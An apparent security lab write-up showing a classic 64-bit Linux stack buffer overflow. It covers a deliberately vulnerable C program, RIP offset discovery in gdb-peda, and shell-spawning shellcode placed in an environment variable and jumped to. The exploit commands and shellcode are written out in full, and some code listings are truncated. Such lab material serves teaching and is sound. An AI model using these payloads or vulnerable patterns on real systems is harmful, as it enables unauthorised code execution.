64-bit Stack-based Buffer Overflow

The purpose of this lab is to understand how to get control of the RIP register when dealing with classic stack-based buffer overflow vulnerabilities in 64-bit programs on Linux.

This lab is based on a great post https://blog.techorganic.com/2015/04/10/64-bit-linux-stack-smashing-tutorial-part-1/.

Note that the vulnerable program used in this lab was compiled without memory protections deliberately and similarly, the ASLR was disabled.

Useful notes:

Vulnerable Code

In this lab, we will be using the below vulnerable program, which declares a buffer buf of 80 bytes, but then allows writing 400 bytes to it, which when done, overflows the stack:

// code from https://blog.techorganic.com/2015/04/10/64-bit-linux-stack-smashing-tutorial-part-1/
#include <stdio.h>
#include <unistd.h>
int vuln() {
char buf[80];
int r;
r = read(0, buf, 400);
printf("\nRead %d bytes. buf is %s\n", r, buf);
puts("No shell for you :(");
return 0;
int main(int argc, char *argv[]) {
printf("Try to exec /bin/sh");
return 0;

We can compile the above code with:

gcc -fno-stack-protector -z execstack vulnerable.c -o vulnerable

Don't forget to disable the ASLR:

echo 0 > /proc/sys/kernel/randomize_va_space

Getting Control of RIP

Let's try to overflow the program's buf buffer by sending some garbage data to it. First of, let's generate the said garbage - 200 AAAAs:

python -c "print 'A'*200" > in.bin

Let's now run the vulnerable program, feed the garbage file to it and observe what happens:

gdb vulnerable
r < in.bin
Vulnerable program crashes when the garbage is fed to it, but the RIP is not overwritten

Note from the above screenshot the following key points:

  • The stack has been overflowed with As (lime);

  • RIP register (red) has not been overflowed although it would have been, had this been a 32-bit binary. On the same note, we can indeed see that the return address (RSP + 0 as ret instruction would pop this value and jump to it) has been filled with As, so why are we not in control of the RIP register?

Why is RIP not overflowed?

The reason the RIP was not overflowed (technically it was, as we saw in the above screenshot, but there's more to it), is because the AAAAAAAA (0x4141414141414141) is considered a non-canonical memory address, or, in other words, 0x4141414141414141 is a 64-bit wide address and current CPUs prevent applications and OSes to use these addresses.

Instead, the highest memory addresses programs can use are 48-bit wide addresses and they are capped at 0x00007FFFFFFFFFFF. This is to prevent the unnecessary complexity in memory address translations that would not provide much benefit to the OSes or applications as it's very unlikely they would ever need to use all of that 64-bit address space.

Controlling RIP

Knowing about canonical addresses, we could take control of the RIP if the 64-bit wide return address 0x4141414141414141 (our garbage data) we tried to plant into the vulnerable program's stack, was translated to a 48-bit canonical address by masking off the 2 highest bytes:

// WinDBG
0:000> ? 0x4141414141414141 & 0x00007FFFFFFFFFFF
Evaluate expression: 71748523475265 = 00004141`41414141

Making our garbage return address a valid canonical address:


Let's see if we can make the program crash and point the RIP to the now canonical memory address 0x0000414141414141. Before we can do this, we need to find out how much garbage AAA.. we need to send in to the vulnerable program before we can place 0x0000414141414141 onto the stack, so that we can take over the RIP.

In gdb-peda, let's create a pattern of 200 characters:

gdb-peda$ pattern_create 200

Feed that pattern to the vulnerable program, observe the crash, and find the offset where we should place our preferred RIP value (0x0000414141414141):

RIP offset is 104

From the above screenshot, we can see that part of our pattern A7AAMAAiA... is visible at the top of the stack - this value would be popped from the stack and jumped to by the ret instruction. Now we need to know how many characters of the 200 bytes pattern that we generated earlier were put on the stack, before A7AAMAAiA got placed at the top of the stack.

Below screenshot illustrates the point outlined above:

  • 200 characters pattern string

  • In red, 104 bytes of garbage characters

  • In cyan, the A7AAMAAiA - this is where we would place our arbitrary RIP value

104 bytes of garbage before we can place an arbitrary RIP value on the stack

To calculate the offset in gdb-peda, we can use pattern_offset like so:

gdb-peda$ pattern_offset A7AAMAAiA
A7AAMAAiA found at offset: 104

The offset of interest is 104. Let's test it by generating a new garbage file that will now contain 104 As and a canonical return address 0x0000414141414141 (in reverse due to little-endianness):

python -c "print 'A'*104 + '\x41\x41\x41\x41\x41\x41\x00\x00'" > in.bin

Sending this data to the vulnerable program reveals that we have now taken control of the RIP register:

We can now control RIP as it points to 0x0000414141414141


We'd like the vulnerable program to spawn a shell for us when exploited, so we will place the shellcode in the environment variable PWN like so:

export PWN=`python -c 'print "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"'`

We now need to find where on stack the PWN environment variable will be located in the vulnerable program. For this, we can use the following program:

// code by Jon Erickson, page 147 and 148 of Hacking: The Art of Exploitation, 2nd Edition
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char *argv[]) {
char *ptr;
if(argc < 3) {
printf("Usage: %s <environment variable> <target program name>\n", argv[0]);
ptr = getenv(argv[1]); /* get env var location */
ptr += (strlen(argv[0]) - strlen(argv[2]))*2; /* adjust for program name */
printf("%s will be at %p\n", argv[1], ptr);

Compile it with:

gcc getenvvar.c -o getenvvar

Then run it like so:

./getenvvar PWN ./vulnerable

Note that the PWN environment variable will be on the vulnerable program's stack at 0x7fffffffefa8:

PWN environment variable location on the stack in the vulnerable program

Convert 0x7fffffffefa8 to its canonical (2 highest bytes masked off) form, which equals to 0x0000ffffefa8. We can now try to exploit the vulnerable program by sending the garbage data that now includes the PWN environment variable address (that contains the shellcode that spawns a shell) as the return address at offset 104, like so:

(python -c "print 'A'*104 + '\xa8\xef\xff\xff\xff\x7f\x00\x00'"; cat) | ./vulnerable
Vulnerable program is exploited and results in a new shell

To confirm the exploit worked as expected, we can unset the PWN environment variable and try to exploit the program again just to see the program crash, since it no longer knows what shellcode to execute:

Exploit no longer works since shellcode is gone from the PWN environment variable